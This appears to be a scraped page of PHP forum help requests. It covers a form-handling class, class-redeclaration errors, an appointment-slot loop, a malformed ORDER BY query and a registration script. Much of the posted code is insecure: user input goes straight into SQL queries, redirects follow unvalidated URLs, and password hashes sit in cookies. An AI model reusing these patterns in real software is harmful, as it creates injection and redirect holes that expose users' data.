$_POST[$this->forms["forms"]["edit"]["table_uid"]] . "'" ); $id = $_POST[$this->forms["forms"]["edit"]["table_uid"]]; } //data stored, taking care of uploade files/images, etc if (is_array($form["fields"])) { foreach ($form["fields"] as $key => $val) { switch ($val["type"]) { case "upload": case "image": //checking if is really e file, else if no tmp is set then it can be the folder where are stored the values if (is_file($_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"])) { //moving the image stored in temp variable //check if the file already exists if (is_file($_CONF["path"] . $_CONF["upload"] . $val["path"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"])) { @unlink($_CONF["path"] . $_CONF["upload"] . $val["path"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"]); } @rename( $_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"] , $_CONF["path"] . $_CONF["upload"] . $val["path"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"] ); // generate the tn image if ($val["tn"]["generate"] == "true") { @rename( $_CONF["path"] . $_CONF["upload"] . "tmp/" . $val["tn"]["preffix"] . $_POST[$key . "_temp"] , $_CONF["path"] . $_CONF["upload"] . $val["path"] . $val["tn"]["preffix"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"] ); } //setting the image as true $_POST[$key] = 1; //updateing the database $this->db->QueryUpdate($this->tables[$this->forms["forms"]["edit"]["table"]] , $_POST , "`" . $this->forms["forms"]["edit"]["table_uid"] . "`='" . $_POST[$this->forms["forms"]["edit"]["table_uid"]] . "'" ); } break; default: if (is_array($val["file"])) SaveFileContents($_CONF["path"] . $_CONF["upload"] . $val["file"]["path"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"] , $_POST[$key] ); break; } } } if (!$_GET["type"]) { $_GET["type"] = $_POST[$this->forms["forms"]["table_uid"]] ? "edit" : "add"; } $this->templates["generic_form"]->blocks["Temp"]->input = $this->forms["forms"][$_GET["type"]]["redirect"]; //replacing the values //die($this->templates["generic_form"]->blocks["Temp"]->Replace($_POST)); if ($_GET["returnURL"]) { header("Location:" . urldecode($_GET["returnURL"])); exit; } if ($redirect == true) { header("Location: " . CryptLink($this->templates["generic_form"]->blocks["Temp"]->Replace(array_merge($_GET,$_POST)))); exit; } else { return true; } } } else { die("ARGH!!!"); //redirecting to list page header("Location:" . str_replace("&action=store" , "" , $_SERVER["REQUEST_URI"])); exit; } if (is_array($_fields["values"])) $fields["values"] = array_merge($fields["values"], $_fields["values"]); return $this->form->Show($this->forms["forms"][$_GET["type"]] , $fields); } /** * description * * @param * * @return * * @access */ function RestoreURI($section) { if (is_array($_GET)) { foreach ($_GET as $key => $val) { $out[$key] = $key . "=" . $val; } $out[$this->forms["uridata"]["action"]] = $this->forms["uridata"]["action"] . "=" . $this->forms["uridata"][$section]; unset($out[$this->forms["table_uid"]]); return CryptLink($_SERVER["SCRIPT_NAME"] . "?" . implode("&" , $out)); //return $_ } } /** * description * * @param * * @return * * @access */ function DoEvents($section = "" , $extra = "" , $values = "") { global $base , $_CONF; if (is_array($extra)) { $this->extra = array_merge($this->extra , $extra); } switch ($_GET[$this->forms["uridata"]["action"]]) { case $this->forms["uridata"]["delete"]: if (($_GET["rconfirm"] == "true")&&($_GET["confirmed"] != "true")) { return $this->templates["generic_form"]->blocks["DeleteItem"]->Replace(array( "title" => $_GET["title"] ? urldecode($_GET["title"]) : "Delete Item", "description" => $_GET["description"] ? urldecode($_GET["description"]) : "Are you sure you want to delete this record?", "return" => urldecode($_GET["returnURL"]), "cancel_location" => urldecode($_GET["returnURL"]), "delete_location" => $_SERVER["REQUEST_URI"] . "&confirmed=true" )); } //searching for element $data = $this->db->QFetchArray("SELECT * FROM `" . $this->tables[$this->forms["forms"]["edit"]["table"]] . "` WHERE `" . $this->forms["forms"]["edit"]["table_uid"] . "`='" . $_GET[$this->forms["forms"]["edit"]["table_uid"]] . "'" ); //checking if this is a valid data if (is_array($data)) { $this->db->Query("DELETE FROM `" . $this->tables[$this->forms["forms"]["edit"]["table"]] . "` WHERE `" . $this->forms["forms"]["edit"]["table_uid"] . "`='" . $_GET[$this->forms["forms"]["edit"]["table_uid"]] . "'" ); } if ($_GET["returnURL"]) { header("Location: " . CryptLink(urldecode($_GET["returnURL"]))); exit; } else { header("Location:" . $_SERVER["HTTP_REFERER"]/*$this->RestoreURI("list")*/); exit; } break; case $this->forms["uridata"]["store"]: return $this->StoreRecord(); break; case $this->forms["uridata"]["add"]: $fields["values"] = $values; return $this->form->Show($this->forms["forms"]["add"] , $fields , $this->extra["add"]); break; case $this->forms["uridata"]["edit"]: //searching for element $data = $values["edit"] ? $values["edit"] : $this->db->QFetchArray("SELECT * FROM `" . $this->tables[$this->forms["forms"]["edit"]["table"]] . "` WHERE `" . $this->forms["forms"]["edit"]["table_uid"] . "`='" . $_GET[$this->forms["forms"]["edit"]["table_uid"]] . "'" ); //checking if this is a valid data if (is_array($data)) { $fields["values"] = $data; return $this->form->Show($this->forms["forms"]["edit"] , $fields , $this->extra["edit"]); } header("Location:" . $this->RestoreURI("list")); exit; break; case $this->forms["uridata"]["details"]: //searching for element $data = $this->db->QFetchArray("SELECT * FROM `" . $this->tables[$this->forms["forms"]["edit"]["table"]] . "` WHERE `" . $this->forms["forms"]["edit"]["table_uid"] . "`='" . $_GET[$this->forms["forms"]["edit"]["table_uid"]] . "'" ); //checking if this is a valid data if (is_array($data)) { $fields["values"] = $data; return $this->form->Show($this->forms["forms"]["details"] , $fields, $this->extra["details"]); } header("Location:" . $this->RestoreURI("list")); exit; break; case $this->forms["uridata"]["search"]: case $this->forms["uridata"]["list"]: default: return $this->FormList($values["list"]); break; } } } ?> My website uses the Zend Framework. It also use openx to serve ads. Openx uses parts of the Zend Framework. I am getting this error. Cannot redeclare class Zend_Registry. require_once is used so I am wondering why this is happening at all. Any ideas on what I can try? I am moving servers and have a similar working set up on a existing server so I was surprised to see this breaking. Thanks, Brian I have 4 php files. 1. dbuser.php, declares class dbuser.php, no includes 2. dbobject.php, declares class dbobject.php, includes file 1. 3. casedetails.php, includes files 1 and 2 4. viewcase.php, includes files 1 and 3. When I try to run file 4, i get cannot redeclare class dbuser.php - error Even every require is followed by _once, but I still get "Cannot redeclare class dbuser"-error when running file 4. Full PHP-code below. I tried also putting "if(!class_exists('dbuser')) { ... " around class dbuser declaration but I still got the same error.. Is this a bug in PHP? I'm running version 5.x on apache 2 Thanks! 1. dbuser.php Code: [Select] <?PHP //$time = round(microtime(), 3); session_start(); require_once("settings.php"); //this is just simple array class dbuser { //Constructor function __construct($username=NULL, $password=NULL, $cookies=FALSE) { //Yhdistet��n tietokantaan ja k�ynnistet��n sessio require_once("dbconnect.php"); //Jos ei annettu parametrein� kayttajanimea ja salasanaa if (!isset($username) | !isset($password)) { //Jos salasana ja kayttaja tallennettu SESSION variableen if (isset($_SESSION['user']['email']) && $this->checkFingerprint($_SESSION['user']['fingerprint'])) { $this->logged = TRUE; foreach($_SESSION['user'] as $key => $value) { $this->$key=$value; } //Jos salasana ja kayttaja tallennettu kekseihin } elseif ( isset($_COOKIE['email']) && isset($_COOKIE['password']) ) { $this->logged = ($this->login($_COOKIE['email'], $_COOKIE['password'], FALSE, TRUE)); } //Jos annettu parametrein� knimi ja pwd } else { $this->logged = ($this->login($username, $password, $cookies, FALSE)); } //Costructor loppuu } //Kirjautuu sisaan, ottaa parametreina knimen ja pwd:n sek� tallennetaanko kekseihin, sa sen onko pwd kryptattu valmiiksi public function login($username, $password, $cookies=FALSE, $precrypted=FALSE) { global $settings; if ($precrypted) { $password = mysql_real_escape_string($password); } else { $password = sha1($password); } $username = mysql_real_escape_string($username); //MySQL query $time = time(); $loginQuery = "SELECT * FROM users WHERE email='$username' AND salasana='$password' AND aktiivinen='1' AND (vanhenee>'$time' OR vanhenee='')"; $fprint = $this->createFingerprint(); if($precrypted) { $loginQuery .= " AND fingerprint='$fprint'"; } $result = mysql_query($loginQuery) or trigger_error(mysql_error); $login = mysql_num_rows($result) or trigger_error(mysql_error()); if ($login != 1) { setcookie("email",'',-100000, "/"); setcookie("password",'',-100000, "/"); mysql_close(); session_destroy(); return FALSE; } else { $result = mysql_fetch_assoc($result); foreach ($result as $field => $value) { $this->$field=$value; $_SESSION['user'][$field] = $value; } $update = "UPDATE users SET kirjautunut='" . time() . "' WHERE id='" . $this->id . "'"; mysql_query($update) or trigger_error(mysql_error()); $update = "UPDATE users SET fingerprint='" . $fprint . "' WHERE id='" . $this->id . "'"; mysql_query($update) or trigger_error(mysql_error()); $this->kirjautunut=time(); $_SESSION['user']['kirjautunut'] = time(); if ($cookies) { setcookie("email",$username,($settings['REMEMBER_LOGIN_DURATION'] + time()), "/"); setcookie("password",$password,($settings['REMEMBER_LOGIN_DURATION'] + time()), "/"); } return TRUE; } } public function adduser($values) { if ($this->logged) { $insert = "INSERT INTO users ("; $vals = " VALUES("; $values['salasana'] = sha1($values['salasana']); foreach($values as $key => $value) { $insert .= mysql_real_escape_string($key) . ', '; $vals .= "'" . mysql_real_escape_string($value) . "', "; } $insert = substr($insert, 0, -2); $vals = substr($vals , 0, -2); $insert .= ')'; $vals .= ')'; $insert .= $vals; mysql_query($insert) or trigger_error(mysql_error()); return TRUE; } else { return FALSE; } } public function getusers($where=NULL, $order=NULL, $desc=NULL) { $query = "SELECT * FROM users"; if (isset($where)) { $query .= " WHERE "; foreach($where as $column => $value) { $query .= $column . " = '" . $value . "' AND "; } $query = substr($query, 0 ,-4); } if (isset($order)) { $query .= " ORDER BY " . $order . " "; } if (isset($desc)) { $query .= 'DESC'; } $values = mysql_query($query) or trigger_error(mysql_error()); $counter = 0; while ($row = mysql_fetch_assoc($values)) { foreach ($row as $key => $value) { $return[$counter][$key] = $value; } $counter++; } return $return; } public function update($id, $data) { $insert = "UPDATE users SET "; foreach($data as $key => $value) { $insert .= $key . '='; $insert .= "'" .$value . "', "; } $insert = substr($insert, 0, -2); $insert .= " WHERE id = '" . $id . "'" ; unset($data['id']); mysql_query($insert) or trigger_error(mysql_error()); } public function remove($id) { $rem = "DELETE FROM users WHERE id=$id LIMIT 1"; mysql_query($rem) or trigger_error(mysql_error()); } private function createFingerprint() { $print = "NJIARDL"; $print .= $_SERVER['HTTP_USER_AGENT']; $print .= $_SERVER['REMOTE_ADDR']; return md5($print); } private function checkFingerprint($real) { $print = $this->createFingerprint(); if ($real == $print) { return TRUE; } else { return FALSE; } } // Class dbuser loppuu } 2. dbobject.php Code: [Select] <?PHP //$time = round(microtime(), 3); require_once("dbuser.php"); .... lots of irrelevant code... class dbobject { .... ?> 3. Code: [Select] <?PHP require_once('../PHPcore/dbuser.php'); // this causes the error somehow... $user = new dbuser(); if(!$user->logged) { Header("Location:index.php"); } ... Lots of irrelevant code.. 4. I tried running this file when got the error... Code: [Select] <?PHP session_start(); require_once("PHPcore/dbuser.php"); $user = new dbuser(); if(!$user->logged) { Header("Location:index.php"); } require_once("views/casedetails.php"); I'm receiving a cannot redeclare function error. I have a functions.php pack that I only require_once once. require_once 'functions.php'; require_once 'classes.php'; A little further into the code I conditionally require another php file. require_once 'dataentry.php'; It appears that when the require_once 'dataentry.php' line is hit, I receive this redeclare error. I do not call any include or require in dataentry.php. The first function in my function pack throws this error, and when I comment it out, the next function throws the error. Im appalled as to the reasoning for this error. Any Thoughts? Hi all, I have this structure of two functions: function get_string_between($string, $start, $end){ $string = " ".$string; $ini = strpos($string,$start); if ($ini == 0) return ""; $ini += strlen($start); $len = strpos($string,$end,$ini) - $ini; return substr($string,$ini,$len); } function normaliza($text){ function entre($string, $start, $end){ $string = " ".$string; $ini = strpos($string,$start); if ($ini == 0) return ""; $ini += strlen($start); $len = strpos($string,$end,$ini) - $ini; return substr($string,$ini,$len); } foreach (count_chars($text, 1) as $i => $val) { if(chr($i)=='<'){ $totaltag = $val; } } for($u=0; $u <= $totaltag; $u++){ $parsed = entre($text, "<", ">"); $text = str_replace('<'.$parsed.'>',"",$text); } return $text; } The I passed a text named $data throught both functions and I got the correct return: $status = get_string_between($data, 'Inativo', 'CNPJ'); $status = normaliza($status); echo $status.' '; Just after, I passed the same folowing text throught the same both functions: $cnpj = get_string_between($data, 'CNPJ', 'Grau'); $cnpj = normaliza($status); echo $cnpj.' '; And I got this error: Cannot redeclare entre() (previously declared in C:\Users\entidade.php:47) in C:\Users\entidade.php on line 47 Why? I thougth this kind strange because it didin't gave the same error for the function get_string_between. Thanks danilo jr. I am a new developer, trying to figure out what causing a memory error. The code goes through registered appointments and depends on the service ID, I have to free a 45 minutes for another service to be booked. Now, once I book an appointment for any of the services that can have 45 minutes free spot, the website takes forever to load the hours but doesn't show them, instead I get this error A PHP Error was encountered Severity: Error Message: Maximum execution time of 120 seconds exceeded
foreach ($appointments as $appointment) { foreach ($periods as $index => &$period) { $appointment_start = new DateTime($appointment['start_datetime']); $appointment_end = new DateTime($appointment['end_datetime']); if ($appointment_start >= $appointment_end) { continue; } $period_start = new DateTime($date . ' ' . $period['start']); $period_end = new DateTime($date . ' ' . $period['end']); $serviceId=$appointment['id_services']; $color1=1; $color2=2; $color3=3; $color4=4; $color5=5; $color6=6; $color7=7; $color8=8; $color9=9; $color10=10; $color11=11; $color12=12; $color13=13; $color14=14; $color15=15; $color16=16; $color17=17; $color18=18; $color19=19; $period_s=''; $period_e=''; if ($appointment_start <= $period_start && $appointment_end <= $period_end && $appointment_end <= $period_start) { // The appointment does not belong in this time period, so we will not change anything. continue; } else { if ($appointment_start <= $period_start && $appointment_end <= $period_end && $appointment_end >= $period_start) { // The appointment starts before the period and finishes somewhere inside. We will need to break // this period and leave the available part. //open slot for services 45,45,45 if($serviceId == $color1 || $serviceId == $color3 || $serviceId == $color7 || $serviceId == $color9|| $serviceId == $color10 || $serviceId == $color11 || $serviceId == $color12){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['start'] = $appointment_end->format('H:i'); } //Open slot for service 45,45,60 else if($serviceId == $color2 || $serviceId == $color8){ $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['start'] = $appointment_end->format('H:i'); } // // //Open slot for service 30,45,45 else if($serviceId == $color4 || $serviceId == $color6 ||$serviceId == $color16 || $serviceId == $color18){ $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['start'] = $appointment_end->format('H:i'); } // // //Open slot for service 30,45,60 else if($serviceId == $color5 || $serviceId == $color17){ $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['start'] = $appointment_end->format('H:i'); } // // //Open slot for service 60,45,45 else if($serviceId == $color13 || $serviceId == $color15){ $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['start'] = $appointment_end->format('H:i'); } // // //Open slot for service 60,45,60 else if($serviceId == $color14 ){ $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['start'] = $appointment_end->format('H:i'); } // //for the rest of services else { $period['start'] = $appointment_end->format('H:i');} } else { if ($appointment_start >= $period_start && $appointment_end < $period_end) { // The appointment is inside the time period, so we will split the period into two new // others. unset($periods[$index]); if($serviceId == $color1 || $serviceId == $color3 || $serviceId == $color7 || $serviceId == $color9|| $serviceId == $color10 || $serviceId == $color11 || $serviceId == $color12){ $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } // //Open slot for service 45,45,60 else if($serviceId == $color2 || $serviceId == $color8){ $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } // // //Open slot for service 30,45,45 else if($serviceId == $color4 || $serviceId == $color6 ||$serviceId == $color16 || $serviceId == $color18){ $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } // // //Open slot for service 30,45,60 else if($serviceId == $color5 || $serviceId == $color17){ $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } // // //Open slot for service 60,45,45 else if($serviceId == $color13 || $serviceId == $color15){ $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } // // //Open slot for service 60,45,60 else if($serviceId == $color14 ){ $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } //for other services once The code is completely correct else{ $periods[] = [ 'start' => $period_start->format('H:i'), 'end' => $appointment_start->format('H:i') ]; $periods[] = [ 'start' => $appointment_end->format('H:i'), 'end' => $period_end->format('H:i') ]; } } else if ($appointment_start == $period_start && $appointment_end == $period_end) { if($serviceId == $color1 || $serviceId == $color3 || $serviceId == $color7 || $serviceId == $color9|| $serviceId == $color10 || $serviceId == $color11 || $serviceId == $color12){ unset($periods[$index]); $period_s= $appointment_start; $period_s->modify('+45 minutes'); $period_e= $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } //Open slot for service 45,45,60 else if($serviceId == $color2 || $serviceId == $color8){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } // // //Open slot for service 30,45,45 else if($serviceId == $color4 || $serviceId == $color6 ||$serviceId == $color16 || $serviceId == $color18){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } // // //Open slot for service 30,45,60 else if($serviceId == $color5 || $serviceId == $color17){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } // // //Open slot for service 60,45,45 else if($serviceId == $color13 || $serviceId == $color15){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } // // //Open slot for service 60,45,60 else if($serviceId == $color14 ){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ];} // //for the rest of services else { unset($periods[$index]);} // The whole period is blocked so remove it from the available periods array. } else { if ($appointment_start >= $period_start && $appointment_end >= $period_start && $appointment_start <= $period_end) { // The appointment starts in the period and finishes out of it. We will need to remove //the time that is taken from the appointment. if($serviceId == $color1 || $serviceId == $color3 || $serviceId == $color7 || $serviceId == $color9|| $serviceId == $color10 || $serviceId == $color11 || $serviceId == $color12){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $period['end'] = $appointment_start->format('H:i'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } //Open slot for service 45,45,60 else if($serviceId == $color2 || $serviceId == $color8){ $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $period['end'] = $appointment_start->format('H:i'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } // // //Open slot for service 30,45,45 else if($serviceId == $color4 || $serviceId == $color6 ||$serviceId == $color16 || $serviceId == $color18){ $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['end'] = $appointment_start->format('H:i'); } // // //Open slot for service 30,45,60 else if($serviceId == $color5 || $serviceId == $color17){ $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['end'] = $appointment_start->format('H:i'); } // // //Open slot for service 60,45,45 else if($serviceId == $color13 || $serviceId == $color15){ $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['end'] = $appointment_start->format('H:i'); } // // //Open slot for service 60,45,60 else if($serviceId == $color14 ){ $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['end'] = $appointment_start->format('H:i'); } // for the rest of services else{ $period['end'] = $appointment_start->format('H:i'); } } else { if ($appointment_start >= $period_start && $appointment_end >= $period_end && $appointment_start >= $period_end) { // The appointment does not belong in the period so do not change anything. continue; } else { if ($appointment_start <= $period_start && $appointment_end >= $period_end && $appointment_start <= $period_end) { //Open slot for service 45,45,45 if($serviceId == $color1 || $serviceId == $color3 || $serviceId == $color7 || $serviceId == $color9|| $serviceId == $color10 || $serviceId == $color11 || $serviceId == $color12){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } //Open slot for service 45,45,60 else if($serviceId == $color2 || $serviceId == $color8){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } // //Open slot for service 30,45,45 else if($serviceId == $color4 || $serviceId == $color6 ||$serviceId == $color16 || $serviceId == $color18){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ];} //Open slot for service 30,45,60 else if($serviceId == $color5 || $serviceId == $color17){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ];} // // //Open slot for service 60,45,45 else if($serviceId == $color13 || $serviceId == $color15){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ];} // // //Open slot for service 60,45,60 else if($serviceId == $color14 ){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ];} else{ unset($periods[$index]); } } } } } } } } } return array_values($periods); } Hello all,
Appreciate if you folks could pls. help me understand (and more importantly resolve) this very weird error:
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ASC, purchase_later_flag ASC, shopper1_buy_flag AS' at line 3' in /var/www/index.php:67 Stack trace: #0 /var/www/index.php(67): PDO->query('SELECT shoplist...') #1 {main} thrown in /var/www/index.php on line 67
Everything seems to work fine when/if I use the following SQL query (which can also be seen commented out in my code towards the end of this post) :
$sql = "SELECT shoplist.*, store_master.store_name, item_master.item_name FROM shoplist, store_master, item_master WHERE shoplist.store_id = store_master.store_id AND shoplist.item_id = item_master.item_id";However, the moment I change my query to the following, which essentially just includes/adds the ORDER BY clause, I receive the error quoted above: $sql = "SELECT shoplist.*, store_master.store_name, item_master.item_name FROM shoplist, store_master, item_master ORDER BY purchased_flag ASC, purchase_later_flag ASC, shopper1_buy_flag ASC, shopper2_buy_flag ASC, store_name ASC) WHERE shoplist.store_id = store_master.store_id AND shoplist.item_id = item_master.item_id";In googling for this error I came across posts that suggested using "ORDER BY FIND_IN_SET()" and "ORDER BY FIELD()"...both of which I tried with no success. Here's the portion of my code which seems to have a problem, and line # 67 is the 3rd from bottom (third last) statement in the code below: <?php /* $sql = "SELECT shoplist.*, store_master.store_name, item_master.item_name FROM shoplist, store_master, item_master WHERE shoplist.store_id = store_master.store_id AND shoplist.item_id = item_master.item_id"; */ $sql = "SELECT shoplist.*, store_master.store_name, item_master.item_name FROM shoplist, store_master, item_master ORDER BY FIND_IN_SET(purchased_flag ASC, purchase_later_flag ASC, shopper1_buy_flag ASC, shopper2_buy_flag ASC, store_name ASC) WHERE shoplist.store_id = store_master.store_id AND shoplist.item_id = item_master.item_id"; $result = $pdo->query($sql); // foreach ($pdo->query($sql) as $row) { foreach ($result as $row) { echo '<tr>'; print '<td><span class="filler-checkbox"><input type="checkbox" name="IDnumber[]" value="' . $row["idnumber"] . '" /></span></td>';Thanks Parse error: syntax error, unexpected T_STRING in C:\xampp\htdocs\mywork\unique.php on line 15 <html> <head> <title> </title> </head> <body bgproperties="fixed"> <?php $dbhost = 'localhost'; $dbuser = 'root'; $dbpass = ''; $con = mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql'); $dbname = 'mywork'; mysql_select_db($dbname, $con); $sql=mysql_query(insert into users (regno,name,gender,date,month,year,emailid,cell,paddress,caddress,incometype,incomeamt,dad,fyes,dadocup,mom,myes,momocup,password) VALUES ('$_POST[regno]','$_POST[name]','$_POST[gender]','$_POST[date]','$_POST[month]','$_POST[year]','$_POST[emailid]','$_POST[cell]','$_POST[paddress]','$_POST[caddress]','$_POST[incometype]','$_POST[incomeamt]','$_POST[dad]','$_POST[fyes]','$_POST[dadocup]','$_POST[mom]','$_POST[myes]','$_POST[momocup]','$_POST[password]')"); $sql1=mysql_fetch_array($sql); $result = @mysql_query($SQl1); $result="SELECT * FROM users WHERE regno='$regno'"; while($row = mysql_fetch_array($result)) { //echo $row['regno']."regno<br>"; //echo $row['name']."name<br>"; //echo $row['gender']."gender<br>"; //echo $row['date']."date<br>"; //echo $row['month']."month<br>"; //echo $row['year']."year<br>"; //echo $row['emailid']."emailid<br>"; //echo $row['cell']."cell<br>"; //echo $row['paddress']."paddress<br>"; //echo $row['caddress']."caddress<br>"; //echo $row['incometype']."incometype<br>"; //echo $row['incomeamt']."incomeamt<br>"; //echo $row['dad']."dad<br>"; //echo $row['fyes']."fyes<br>"; //echo $row['dadocup']."dadocup<br>"; //echo $row['mom']."mom<br>"; //echo $row['myes']."myes<br>"; //echo $row['momocup']."momocup<br>"; //echo $row['password']."password<br>"; } echo "Thanks for Register!"; if (!mysql_query($sql,$con)) { die('Error: ' . mysql_error()); } echo "1 record added"; mysql_close($con); ?> <form name="security" action="index.php" method="post"> <input type="submit" value="click here to login"> </form> 